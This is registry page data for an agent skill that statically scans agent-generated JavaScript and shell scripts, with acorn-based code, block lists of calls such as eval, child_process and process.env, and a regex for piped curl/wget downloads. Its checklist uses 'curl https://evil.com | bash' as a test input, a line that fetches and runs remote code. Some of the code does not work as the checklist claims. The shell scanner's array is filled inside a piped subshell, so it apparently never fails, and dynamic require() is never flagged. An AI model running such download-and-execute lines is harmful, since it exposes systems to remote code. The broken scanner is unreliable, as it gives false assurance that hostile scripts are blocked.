[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7397M5XGTXNG2AJS7GPYBFX":3,"skill-same:01M7397M5XGTXNG2AJS7GPYBFX":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":32,"ownerHtmlUrl":33,"ownerBlogUrl":34,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7397M5XGTXNG2AJS7GPYBFX","ast-injection-scanner",null,"Statically scan agent-generated JavaScript and shell scripts for dangerous patterns using AST analysis (acorn\u002Fswc). Detect eval(), process.env access, dynamic require(), child_process usage, and path traversal before code execution.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fast-injection-scanner\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: ast-injection-scanner\ndescription: Statically scan agent-generated JavaScript and shell scripts for dangerous patterns using AST analysis (acorn\u002Fswc). Detect eval(), process.env access, dynamic require(), child_process usage, and path traversal before code execution.\norigin: acorn (MIT), swc (Apache-2.0), ESTree spec, OWASP Code Injection Cheat Sheet\nlicense: Apache-2.0\nversion: 1.0.0\ncompatibility: claude-sonnet-4-6, claude-opus-4-7\n---\n\n# AST Injection Scanner\n\nParse agent-generated code into an Abstract Syntax Tree and walk every node looking for dangerous call patterns — before any line is executed.\n\n## When to Use\n\n- Agent system that generates and hot-loads JS code at runtime\n- Validating shell scripts produced by an agent before executing them\n- Building a pre-commit hook that blocks dangerous code patterns\n- Implementing YAMTAM sovereign-runtime-law (rule 51) AST gate\n\n## Do NOT use for\n\n- Linting developer code (use ESLint with security plugins instead)\n- Python\u002FRuby code (use language-specific AST tools: ast module, RuboCop)\n- Performance-critical paths where AST parse overhead is unacceptable\n\n## acorn-based Scanner\n\n```js\nimport { parse } from 'acorn';\n\nconst BLOCKED_CALLS = new Set(['eval', 'exec', 'execSync', 'execFile', 'spawnSync', 'fork']);\nconst BLOCKED_MEMBERS = [\n  { object: 'process', property: 'env' },\n  { object: 'child_process', property: null },  \u002F\u002F any child_process method\n  { object: 'fs', property: 'writeFileSync' },\n  { object: 'fs', property: 'unlinkSync' },\n];\n\nfunction scanAST(source, filename = 'agent-generated') {\n  const ast = parse(source, {\n    ecmaVersion: 2022,\n    sourceType: 'module',\n    locations: true,\n  });\n\n  const violations = [];\n\n  function walk(node) {\n    if (!node || typeof node !== 'object') return;\n\n    if (node.type === 'CallExpression') {\n      const name = node.callee?.name ?? node.callee?.property?.name;\n      if (BLOCKED_CALLS.has(name)) {\n        violations.push({ type: 'BLOCKED_CALL', name, line: node.loc?.start.line });\n      }\n    }\n\n    if (node.type === 'MemberExpression') {\n      const obj  = node.object?.name;\n      const prop = node.property?.name;\n      for (const blocked of BLOCKED_MEMBERS) {\n        if (obj === blocked.object && (blocked.property === null || prop === blocked.property)) {\n          violations.push({ type: 'BLOCKED_MEMBER', expr: `${obj}.${prop}`, line: node.loc?.start.line });\n        }\n      }\n    }\n\n    \u002F\u002F Recurse\n    for (const key of Object.keys(node)) {\n      if (['loc','start','end','type'].includes(key)) continue;\n      const child = node[key];\n      if (Array.isArray(child)) child.forEach(walk);\n      else if (child?.type) walk(child);\n    }\n  }\n\n  walk(ast);\n  return { safe: violations.length === 0, violations, filename };\n}\n```\n\n## Shell Script Scanner (Regex Fallback)\n\n```bash\n#!\u002Fusr\u002Fbin\u002Fenv bash\n# scan-shell.sh — block dangerous shell patterns in agent scripts\n\nscan_shell() {\n  local file=\"$1\"\n  local violations=()\n\n  grep -nE '(eval |`.*`|\\$\\(|\\bexec\\b|LD_PRELOAD|curl\\s+.*\\|\\s*bash|wget\\s+.*\\|\\s*sh)' \"$file\" \\\n    | while IFS=: read -r line content; do\n        echo \"VIOLATION line ${line}: ${content}\" >&2\n        violations+=(\"line:${line}\")\n      done\n\n  [[ ${#violations[@]} -gt 0 ]] && return 3\n  return 0\n}\n\nscan_shell \"$1\"\n```\n\n## Dynamic require() Detection\n\n```js\n\u002F\u002F Distinguishes static from dynamic require\nfunction isDynamicRequire(node) {\n  if (node.type !== 'CallExpression') return false;\n  if (node.callee?.name !== 'require') return false;\n  \u002F\u002F Static: require('.\u002Fmodule') — first arg is a string literal\n  \u002F\u002F Dynamic: require(variableName) — first arg is NOT a literal\n  const arg = node.arguments?.[0];\n  return !arg || arg.type !== 'Literal';\n}\n```\n\n## Pre-execution Pipeline\n\n```js\nasync function safeExecute(agentId, generatedCode) {\n  \u002F\u002F 1. AST scan\n  const { safe, violations } = scanAST(generatedCode, `${agentId}-generated`);\n  if (!safe) {\n    swarmRouter.penalize(agentId, 15, 'AST_VIOLATION');\n    throw new Error(`AST blocked: ${violations[0].type} at line ${violations[0].line}`);\n  }\n\n  \u002F\u002F 2. Sign artifact\n  const sig = signArtifact(generatedCode);\n\n  \u002F\u002F 3. Execute in sandbox\n  return executeInSandbox(generatedCode, { signature: sig });\n}\n```\n\n## Anti-Fake-Pass Checklist\n\n- [ ] `eval()` in source → `violations` array non-empty\n- [ ] `process.env.SECRET` in source → `BLOCKED_MEMBER` violation\n- [ ] Static `require('.\u002Fconfig')` → no violation (allowed)\n- [ ] Dynamic `require(userInput)` → `BLOCKED_CALL` violation\n- [ ] Shell scanner: `curl https:\u002F\u002Fevil.com | bash` → exit code 3\n","# AST Injection Scanner\n\nParse agent-generated code into an Abstract Syntax Tree and walk every node looking for dangerous call patterns — before any line is executed.\n\n## When to Use\n\n- Agent system that generates and hot-loads JS code at runtime\n- Validating shell scripts produced by an agent before executing them\n- Building a pre-commit hook that blocks dangerous code patterns\n- Implementing YAMTAM sovereign-runtime-law (rule 51) AST gate\n\n## Do NOT use for\n\n- Linting developer code (use ESLint with security plugins instead)\n- Python\u002FRuby code (use language-specific AST tools: ast module, RuboCop)\n- Performance-critical paths where AST parse overhead is unacceptable\n\n## acorn-based Scanner\n\n```js\nimport { parse } from 'acorn';\n\nconst BLOCKED_CALLS = new Set(['eval', 'exec', 'execSync', 'execFile', 'spawnSync', 'fork']);\nconst BLOCKED_MEMBERS = [\n  { object: 'process', property: 'env' },\n  { object: 'child_process', property: null },  \u002F\u002F any child_process method\n  { object: 'fs', property: 'writeFileSync' },\n  { object: 'fs', property: 'unlinkSync' },\n];\n\nfunction scanAST(source, filename = 'agent-generated') {\n  const ast = parse(source, {\n    ecmaVersion: 2022,\n    sourceType: 'module',\n    locations: true,\n  });\n\n  const violations = [];\n\n  function walk(node) {\n    if (!node || typeof node !== 'object') return;\n\n    if (node.type === 'CallExpression') {\n      const name = node.callee?.name ?? node.callee?.property?.name;\n      if (BLOCKED_CALLS.has(name)) {\n        violations.push({ type: 'BLOCKED_CALL', name, line: node.loc?.start.line });\n      }\n    }\n\n    if (node.type === 'MemberExpression') {\n      const obj  = node.object?.name;\n      const prop = node.property?.name;\n      for (const blocked of BLOCKED_MEMBERS) {\n        if (obj === blocked.object && (blocked.property === null || prop === blocked.property)) {\n          violations.push({ type: 'BLOCKED_MEMBER', expr: `${obj}.${prop}`, line: node.loc?.start.line });\n        }\n      }\n    }\n\n    \u002F\u002F Recurse\n    for (const key of Object.keys(node)) {\n      if (['loc','start','end','type'].includes(key)) continue;\n      const child = node[key];\n      if (Array.isArray(child)) child.forEach(walk);\n      else if (child?.type) walk(child);\n    }\n  }\n\n  walk(ast);\n  return { safe: violations.length === 0, violations, filename };\n}\n```\n\n## Shell Script Scanner (Regex Fallback)\n\n```bash\n#!\u002Fusr\u002Fbin\u002Fenv bash\n# scan-shell.sh — block dangerous shell patterns in agent scripts\n\nscan_shell() {\n  local file=\"$1\"\n  local violations=()\n\n  grep -nE '(eval |`.*`|\\$\\(|\\bexec\\b|LD_PRELOAD|curl\\s+.*\\|\\s*bash|wget\\s+.*\\|\\s*sh)' \"$file\" \\\n    | while IFS=: read -r line content; do\n        echo \"VIOLATION line ${line}: ${content}\" >&2\n        violations+=(\"line:${line}\")\n      done\n\n  [[ ${#violations[@]} -gt 0 ]] && return 3\n  return 0\n}\n\nscan_shell \"$1\"\n```\n\n## Dynamic require() Detection\n\n```js\n\u002F\u002F Distinguishes static from dynamic require\nfunction isDynamicRequire(node) {\n  if (node.type !== 'CallExpression') return false;\n  if (node.callee?.name !== 'require') return false;\n  \u002F\u002F Static: require('.\u002Fmodule') — first arg is a string literal\n  \u002F\u002F Dynamic: require(variableName) — first arg is NOT a literal\n  const arg = node.arguments?.[0];\n  return !arg || arg.type !== 'Literal';\n}\n```\n\n## Pre-execution Pipeline\n\n```js\nasync function safeExecute(agentId, generatedCode) {\n  \u002F\u002F 1. AST scan\n  const { safe, violations } = scanAST(generatedCode, `${agentId}-generated`);\n  if (!safe) {\n    swarmRouter.penalize(agentId, 15, 'AST_VIOLATION');\n    throw new Error(`AST blocked: ${violations[0].type} at line ${violations[0].line}`);\n  }\n\n  \u002F\u002F 2. Sign artifact\n  const sig = signArtifact(generatedCode);\n\n  \u002F\u002F 3. Execute in sandbox\n  return executeInSandbox(generatedCode, { signature: sig });\n}\n```\n\n## Anti-Fake-Pass Checklist\n\n- [ ] `eval()` in source → `violations` array non-empty\n- [ ] `process.env.SECRET` in source → `BLOCKED_MEMBER` violation\n- [ ] Static `require('.\u002Fconfig')` → no violation (allowed)\n- [ ] Dynamic `require(userInput)` → `BLOCKED_CALL` violation\n- [ ] Shell scanner: `curl https:\u002F\u002Fevil.com | bash` → exit code 3\n",{"name":5,"origin":24,"license":15,"version":25,"description":7,"compatibility":26},"acorn (MIT), swc (Apache-2.0), ESTree spec, OWASP Code Injection Cheat Sheet","1.0.0","claude-sonnet-4-6, claude-opus-4-7","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fast-injection-scanner",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill ast-injection-scanner",{"tool":43,"command":44},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill ast-injection-scanner",{"tool":46,"command":47},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill ast-injection-scanner","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fast-injection-scanner\u002FSKILL.md",true,[],[52,60,67,75,83,91],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":56,"licenseFileUrl":6,"sourceHtmlUrl":57,"categories":58,"keywords":59,"publishedAt":19},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":61,"name":62,"nameZh":6,"description":63,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":19},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":71,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":19},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":79,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":19},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":87,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]